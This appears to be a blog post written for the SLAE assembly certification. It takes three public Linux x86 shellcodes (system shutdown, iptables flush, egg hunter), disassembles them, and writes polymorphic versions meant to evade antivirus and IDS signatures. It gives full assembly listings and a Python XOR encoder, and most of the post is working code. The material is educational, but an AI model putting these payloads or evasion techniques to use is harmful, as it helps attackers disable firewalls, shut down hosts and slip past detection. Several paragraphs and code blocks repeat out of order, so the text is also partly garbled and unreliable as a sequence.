For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the sixth exercise requested about modifying
three shellcode to add polymorphism. Code can be found at my GitHub SLAE repository.
6.1 SHUTDOWN SHELLCODE
___________________________________________________
___________________________________________________
I selected as first shellcode from shell-storm a "shutdown" one: http://shell-storm.org/shellcode/files/shellcode-876.php
Disassembled code is already given on the shellcode page. Before presenting a polymorphic version of it, let's analyse it first. All comments are on the code. Available also on GitHub:
This shellcode is basically doing an execve(shutdown -h), in 56 bytes. Now, it's time to make a polymorphic version of it. Polymorphism is a way to modify a shellcode/program as to make it look like
different, while still keeping the same functionalities. The purpose is to evade traditional AV/IDS signatures by modifying the shellcode. The more polymorphism added, the greater the final size will
be. Therefore there is a trade-off to find between polymorphism and shellcode size.
The first question to ask ourself, is what in my current shellcode could be fingerprinted to make a signature? The first obvious answer is the strings: here we have "/sbin/shutdown -h". So in this first exercise, we will focus on scrambling the strings. To do that, I made a simple XOR encoding python program, that you can see below:
Now the whole polymorphic version:
push word 0xc287 ; XORed '-h' with 0xAA
xor word [esp], 0xaaaa ; XOR back string to clear text '-h'
mov ebx, dword 0xc4ddc5ce ; XORed 'down' with 0xAA
xor ebx, 0xaaaaaaaa ; XOR back the string to clear text
push ebx ; string 'down'
We can notice that the strings are rendered correctly.
Disassembled code is already given on the shellcode page. Before presenting a polymorphic version of it, let's analyse it first. All comments are on the code. Available also on GitHub:
; Title: shutdown -h now Shellcode - 56 bytes ; Date: 2014-06-27 ; Platform: linux/x86 ; Author: Osanda Malith Jayathissa (@OsandaMalith) ; Analysis by: Guillaume Kaddouch ; SLAE-681 global _start section .text _start: ;int execve(const char *filename, char *const argv[], char *const envp[] xor eax,eax ; zero out eax xor edx,edx ; zero out edx push eax ; push NULL terminating string push word 0x682d ; \x2d\x68 = '-h' mov edi,esp ; edi = *ptr '-h' push eax ; push NULL push byte 0x6e ; \x6e = 'n' mov word [esp+0x1],0x776f ; \x6f\x55 = 'ow' mov edi,esp ; edi = *argv '-h now' push eax ; push NULL push dword 0x6e776f64 ; = 'down' push dword 0x74756873 ; = 'shut' push dword 0x2f2f2f6e ; = 'n///' push dword 0x6962732f ; = '/sbi' mov ebx,esp ; ebx = *filename '/sbin///shutdown' 0x00 push edx ; push NULL on stack push esi ; value ?? push edi ; edi = *argv '-h now' push ebx ; *filename '/sbin///shutdown' 0x00 mov ecx,esp ; ecx = *argv[*filename '/sbin///shutdown' '-h' ; ebx = *filename ; ecx = *argv[*filename, *'-h now'] ; edx = *envp = 0x00 mov al,0xb ; execve() syscall number int 0x80 ; execve(*/sbin///shutdown, *-h now, 0x00)
The first question to ask ourself, is what in my current shellcode could be fingerprinted to make a signature? The first obvious answer is the strings: here we have "/sbin/shutdown -h". So in this first exercise, we will focus on scrambling the strings. To do that, I made a simple XOR encoding python program, that you can see below:
#!/usr/bin/python # Title: XOR encoder # File: xorencoder.py # Author: Guillaume Kaddouch # SLAE-681 import sys shellcode = ( "\x77\x6f\x6e" # = now #push dword 0x6e776f64 ; = 'down' #"\x6e\x77\x6f\x64" #push dword 0x74756873 ; = 'shut' #"\x74\x75\x68\x73" #push dword 0x2f6e6962 ; = '/nib' #"\x2f\x6e\x69\x62" #push word 0x732f #"\x73\x2f" ) xor_key = 0xAA encoded = "" encoded2 = "" print "[*] Encoding shellcode..." for x in bytearray(shellcode): # XOR encoding y = x^xor_key encoded += '\\x' encoded += '%02x' % y encoded2 += '0x' encoded2 += '%02x,' %y print "hex version : %s" % encoded print "" print "nasm version : %s" % encoded2 print "" print 'Len: %d' % len(bytearray(shellcode))As an example of encoding "now" with 0xAA:
Now the whole polymorphic version:
; Polymorphic version of http://shell-storm.org/shellcode/files/shellcode-876.php ; 83 bytes (original 56 bytes) ; Kaddouch Guillaume ; SLAE-681 global _start section .text _start: ;int execve(const char *filename, char *const argv[], char *const envp[] xor eax, eax ; zero out eax push eax ; push NULL terminating string push word 0xc287 ; XORed '-h' with 0xAA xor word [esp], 0xaaaa ; XOR back string to clear text '-h' push eax ; push NULL push dword 0x776f6eAA ; = 'now' mov [esp], byte al ; \x00 = NULL mov edi, esp ; edi = *'-h now' push eax ; push NULL mov ebx, dword 0xc4ddc5ce ; XORed 'down' with 0xAA xor ebx, 0xaaaaaaaa ; XOR back the string to clear text push ebx ; string 'down' mov ebx, dword 0x63645762 ; encoded 'shut' decreased by 0x11111111 add ebx, 0x11111111 ; convert back the string to clear text push ebx ; string 'shut' mov ebx, dword 0x85c4c3c8 ; XORed 'bin/' with 0xAA xor ebx, 0xaaaaaaaa ; XOR back the string to clear text push ebx ; string 'bin/' mov bx, 0x6129 ; encoded '/s' decreased by 0x1206 add bx, 0x1206 ; convert back the string to clear text push bx ; string '/s' ; clear string on stack = /sbin/shutdown mov ebx, esp ; ebx = *filename '/sbin///shutdown' 0x00 push eax push edi ; edi = *argv '-h now' push ebx ; *filename '/sbin///shutdown' 0x00 mov ecx,esp ; ecx = *argv[*filename '/sbin///shutdown' '-h' ; ebx = *filename ; ecx = *argv[*filename, *'-h now'] ; edx = *envp = 0x00 mov al,0xb ; execve() syscall number int 0x80 ; execve(*/sbin///shutdown, *-h now, 0x00)You can notice that we used various methods to encode the string chunks: 1) XOR 0xaa encoding, 2) INC 0x11111111, 3) ADD 0x1206, 4) and no encoding for the string "now". The point is to avoid a classic encoding/decoding loop that could also be fingerprinted. By using multiple methods, we of course also increase the shellcode size, from 56 bytes to 83 bytes. I am sure you can understand I cannot show you any screenshot of a "working" shutdown shellcode :-) I can at least show the decoding happening in a debugguer:
push word 0xc287 ; XORed '-h' with 0xAA
xor word [esp], 0xaaaa ; XOR back string to clear text '-h'
mov ebx, dword 0xc4ddc5ce ; XORed 'down' with 0xAA
xor ebx, 0xaaaaaaaa ; XOR back the string to clear text
push ebx ; string 'down'
We can notice that the strings are rendered correctly.
6.2 IPTABLES -F SHELLCODE
___________________________________________________
___________________________________________________
I selected as second shellcode from shell-storm, an "iptables flush" one: http://shell-storm.org/shellcode/files/shellcode-825.php
Disassembled code is already given on the shellcode page. Before presenting a polymorphic version of it, let's analyse it first. All comments are on the code. Available also on GitHub:
This shellcode is basically doing an execve(iptables -F), in 43 bytes. Now, it's time to make a polymorphic version of it. As the previous shellcode, we will make sure the string is no longer
stored in whole plain text to avoid fingerprinting. We will use other tricks as well we didn't use in the previous polymorphic shellcode.
Now let's assemble our shellcode and execute it. Finally check our rules:
We can see that our ACCEPT rule has been correctly deleted by the flush command. Execution is successful, and our shellcode is now polymorphic.
Disassembled code is already given on the shellcode page. Before presenting a polymorphic version of it, let's analyse it first. All comments are on the code. Available also on GitHub:
; Linux/x86 iptables --flush 43 bytes ; Author : Hamza Megahed ; Analysis by Guillaume Kaddouch ; SLAE-681 global _start section .text _start: ; int execve(const char *filename, char *const argv[], char *const envp[]); xor eax,eax ; zero out eax push eax ; push NULL terminating string on stack push word 0x462d ; push '-F' on stack mov esi,esp ; esi = *ptr to '-F' argument push eax ; push NULL terminating string on stack push dword 0x73656c62 ; bles push dword 0x61747069 ; ipta push dword 0x2f6e6962 ; bin/ push dword 0x732f2f2f ; ///s mov ebx,esp ; ebx = *ptr to '///sbin/iptables' push eax ; push NULL push esi ; *ptr to -F push ebx ; 1st arg: *filename ///sbin/iptables mov ecx,esp ; 2nd arg: *argv [*filename, -F] mov edx,eax ; 3rd arg: *envp = 0x00 mov al,0xb ; 0xb = execve() int 0x80 ; execve(*filename, *argv, *envp)
; Polymorphic version of "iptables -flush" shellcode from http://shell-storm.org/shellcode/files/shellcode-825.php ; 61 bytes (original shellcode 43 bytes) ; Guillaume Kaddouch ; SLAE-681 global _start section .text _start: ; int execve(const char *filename, char *const argv[], char *const envp[]); pxor mm0, mm1 ; decoil instruction xor eax,eax ; zero out eax mov [esp], eax ; push NULL on stack, manually sub esp, 0x4 ; decrement ESP manually push word 0x462d ; push '-F' on stack mov esi,esp ; esi = *ptr to '-F' argument push eax ; push NULL terminating string on stack push dword 0x73656c62 ; 'bles' mov edx, 0x50636058 ; encoded 'ipta' string add edx, 0x11111011 ; convert back 'ipta' to clear text push edx push dword 0x2f6e6962 ; bin/ push dword 0x732f2f2f ; ///s mov ebx,esp ; ebx = *ptr to '///sbin/iptables' push eax ; push NULL push esi ; *ptr to -F cdq ; decoil instruction push ebx ; 1st arg: *filename ///sbin/iptables mov ecx,esp ; 2nd arg: *argv [*filename, -F] mov edx,eax ; 3rd arg: *envp = 0x00 mov al,0xa ; syscall we won't call inc al ; 0xa + 0x1 = 0xb = execve() int 0x80 ; execve(*filename, *argv, *envp)In this example, we encode only part of the "/sbin/iptables -F" string, which is "/sbin/X`cPbles -F". The purpose is to not oversize our polymorphism, to let room for other polymorphic instructions. It may not be necessary to encode the whole command, as a fingerprint on "iptables" string would already not match. Also, it gives us room to use other methods. First one is to add junk instructions in the middle of the code, that does nothing to accomplish our purpose of flushing iptables. It is the case of the MMX instructions added or the "cdq" instruction. Also, instead of doing a clean "push" instruction, we can do the same manually by copying data on the stack, and then adjusting ESP. It still does the same, but further move our shellcode away from a signature for the original version. Finally, the syscall number copied into eax at the end is the wrong one, and is corrected before the syscall occurs. They are all tiny modifications that together modify the fingerprint of the shellcode. Now we can test our shellcode, first we create an iptables rule:
Now let's assemble our shellcode and execute it. Finally check our rules:
We can see that our ACCEPT rule has been correctly deleted by the flush command. Execution is successful, and our shellcode is now polymorphic.
6.3 EGG HUNTER SHELLCODE
___________________________________________________
___________________________________________________
I selected as third shellcode from shell-storm, an egg hunter one: http://shell-storm.org/shellcode/files/shellcode-839.php
Only hexadecimal shellcode is given on the link, we have to disassemble it first:
Now let's analyse it:
Putting the shellcode into a C file, compile it and execute it:
We can see that our polymorphic shellcode is working and jumps to the target shellcode, displaying "Egg Mark" on the screen. We can test removing part of the egg signature on the target shellcode and see what happens:
The program seems to loop indefinitely, as it never finds the egg signature twice in a row.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681
Only hexadecimal shellcode is given on the link, we have to disassemble it first:
Now let's analyse it:
; Title: Egg Hunter Shellcode ; Author: Geyslan G. Bem, Hacking bits ; Analysis by Guillaume Kaddouch ; SLAE-681 global _start section .text _start: cld ; clear DF flag xor ecx,ecx ; zero out ecx mul ecx ; zero out eax and edx next_page: or dx,0xfff ; page aligment: if memory is invalid, skip to the next page next_address: inc edx ; check next memory address push byte 0x21 ; 0x21 = 33 = access() syscall pop eax lea ebx, [edx+0x4] ; 1st arg: ebx = next memory to check (=edx+4) int 0x80 ; eax = access(*memory, 0x0) cmp al,0xf2 ; if al = 0xf2, page invalid so skip it, jump to next page (ZF = 1) jz next_page mov eax,0x50905090 ; if address not invalid, store egg signature into eax mov edi,edx ; store current memory content into edi scasd ; compare edi & eax, and set ZF = 1 if equal (egg found). Increment edi by 4. jnz next_address ; if not our egg, jump to next address scasd ; if it is our egg, check next address is equal to our egg too jnz next_address ; if not, jump to the next address, going first to a decoil jump jmp edi ; our egg was found, jump to shellcode (edi+8)This egg hunter inspects the whole process memory looking for the egg, twice, and then jump to the shellcode. Now let's try to make a polymorphic version of it:
; Polymorphic version or egg hunter from http://shell-storm.org/shellcode/files/shellcode-839.php ; 57 bytes (original size 38 bytes) ; Guillaume Kaddouch ; SLAE-681 global _start section .text _start: xor eax, eax ; zero out eax xor edx, edx ; zero out edx cld ; clear DF flag xor ecx,ecx ; zero out ecx next_page: fldz or dx,0xfff ; page aligment: if memory is invalid, skip to the next page next_address: add edx, 0x1 ; check next memory address push byte 0x20 ; 0x20 = 32 = getpid() syscall pop eax lea ebx, [edx+0x6-0x2] ; 1st arg: ebx = next memory to check (=edx+4) inc eax ; 0x21 = 33 = access() syscall int 0x80 ; eax = access(*memory, 0x0) cmp al,0xf2 ; if al = 0xf2, page invalid so skip it, jump to next page (ZF = 1) jz next_page mov eax,0x40804080 ; if address not invalid, store obfuscated egg signature into eax add eax, 0x10101010 ; fix egg signature = 0x50905090 mov edi,edx ; store current memory content into edi scasd ; compare edi & eax, and set ZF = 1 if equal (egg found). Increment edi by 4. jnz next_address ; if not our egg, jump to next address scasd ; if it is our egg, check next address is equal to our egg too jnz decoil ; if not, jump to the next address, going first to a decoil jump jmp edi ; our egg was found, jump to shellcode (edi+8) decoil: mov dword esi, 0x11112345 ; I like moving data around for no reason jmp short next_address ; now get back to workIn this polymorphic version, we combine many methods we used before. First, we modify the begining of the shellcode by using different instructions to zero out registers. We insert a junk instruction in between, and we push a wrong syscall value into eax, before correcting it further (and not immediately this time). The LEA instruction is slighly modified, and the egg signature is obfuscated before being moved into eax register, and is fixed just after. Finally, an additional jump has been added to modify the workflow of the shellcode, jumping at a place doing a bogus instruction, before jumping back where it should, following execution. The shellcode increased from 38 bytes to 57 bytes in the process. Now let's check it works:
Putting the shellcode into a C file, compile it and execute it:
We can see that our polymorphic shellcode is working and jumps to the target shellcode, displaying "Egg Mark" on the screen. We can test removing part of the egg signature on the target shellcode and see what happens:
The program seems to loop indefinitely, as it never finds the egg signature twice in a row.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681
No comments:
Post a Comment